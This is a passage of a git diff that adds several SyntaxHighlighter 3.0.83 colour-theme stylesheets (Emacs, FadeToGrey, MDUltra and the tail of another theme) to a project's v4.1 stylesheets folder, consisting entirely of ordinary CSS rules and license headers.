-webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} + +.syntaxhighlighter { + background-color: white !important; +} +.syntaxhighlighter .line.alt1 { + background-color: white !important; +} +.syntaxhighlighter .line.alt2 { + background-color: white !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #c3defe !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: black !important; +} +.syntaxhighlighter .gutter { + color: #787878 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #d4d0c8 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #d4d0c8 !important; + color: white !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #3f5fbf !important; + background: white !important; + border: 1px solid #d4d0c8 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #3f5fbf !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #aa7700 !important; +} +.syntaxhighlighter .toolbar { + color: #a0a0a0 !important; + background: #d4d0c8 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #a0a0a0 !important; +} +.syntaxhighlighter .toolbar a:hover { + color: red !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: black !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #3f5fbf !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #2a00ff !important; +} +.syntaxhighlighter .keyword { + color: #7f0055 !important; +} +.syntaxhighlighter .preprocessor { + color: #646464 !important; +} +.syntaxhighlighter .variable { + color: #aa7700 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ff1493 !important; +} +.syntaxhighlighter .constants { + color: #0066cc !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #7f0055 !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: gray !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: red !important; +} + +.syntaxhighlighter .keyword { + font-weight: bold !important; +} +.syntaxhighlighter .xml .keyword { + color: #3f7f7f !important; + font-weight: normal !important; +} +.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a { + color: #7f007f !important; +} +.syntaxhighlighter .xml .string { + font-style: italic !important; + color: #2a00ff !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shCoreEmacs.css b/v4.1/stylesheets/syntaxhighlighter/shCoreEmacs.css new file mode 100644 index 0000000..706c77a --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCoreEmacs.css @@ -0,0 +1,324 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} + +.syntaxhighlighter { + background-color: black !important; +} +.syntaxhighlighter .line.alt1 { + background-color: black !important; +} +.syntaxhighlighter .line.alt2 { + background-color: black !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #2a3133 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: #d3d3d3 !important; +} +.syntaxhighlighter .gutter { + color: #d3d3d3 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #990000 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #990000 !important; + color: black !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #ebdb8d !important; + background: black !important; + border: 1px solid #990000 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #ebdb8d !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #ff7d27 !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #990000 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #9ccff4 !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #d3d3d3 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #ff7d27 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #ff9e7b !important; +} +.syntaxhighlighter .keyword { + color: aqua !important; +} +.syntaxhighlighter .preprocessor { + color: #aec4de !important; +} +.syntaxhighlighter .variable { + color: #ffaa3e !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #81cef9 !important; +} +.syntaxhighlighter .constants { + color: #ff9e7b !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: aqua !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #ebdb8d !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #ff7d27 !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #aec4de !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css b/v4.1/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css new file mode 100644 index 0000000..6101eba --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css @@ -0,0 +1,328 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} + +.syntaxhighlighter { + background-color: #121212 !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #121212 !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #121212 !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #2c2c29 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: white !important; +} +.syntaxhighlighter .gutter { + color: #afafaf !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #3185b9 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #3185b9 !important; + color: #121212 !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #3185b9 !important; + background: black !important; + border: 1px solid #3185b9 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #3185b9 !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #d01d33 !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #3185b9 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #96daff !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: white !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #696854 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #e3e658 !important; +} +.syntaxhighlighter .keyword { + color: #d01d33 !important; +} +.syntaxhighlighter .preprocessor { + color: #435a5f !important; +} +.syntaxhighlighter .variable { + color: #898989 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #aaaaaa !important; +} +.syntaxhighlighter .constants { + color: #96daff !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #d01d33 !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #ffc074 !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #4a8cdb !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #96daff !important; +} + +.syntaxhighlighter .functions { + font-weight: bold !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shCoreMDUltra.css b/v4.1/stylesheets/syntaxhighlighter/shCoreMDUltra.css new file mode 100644 index 0000000..2923ce7 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCoreMDUltra.css @@ -0,0 +1,324 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} + +.syntaxhighlighter { + background-color: #222222 !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #222222 !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #222222 !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #253e5a !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: lime !important; +} +.syntaxhighlighter .gutter { + color: #38566f !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #435a5f !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #435a5f !important; + color: #222222 !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #428bdd !important; + background: black !important; + border: 1px solid #435a5f !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #428bdd !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: lime !important; +} +.syntaxhighlighter .toolbar { + color: #aaaaff !important; + background: #435a5f !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #aaaaff !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #9ccff4 !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: lime !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #428bdd !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: lime !important; +} +.syntaxhighlighter .keyword { + color: #aaaaff !important; +} +.syntaxhighlighter .preprocessor { + color: #8aa6c1 !important; +} +.syntaxhighlighter .variable { + color: aqua !important; +} +.syntaxhighlighter .value { + color: #f7e741 !important; +} +.syntaxhighlighter .functions { + color: #ff8000 !important; +} +.syntaxhighlighter .constants { + color: yellow !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #aaaaff !important; + background-color: none 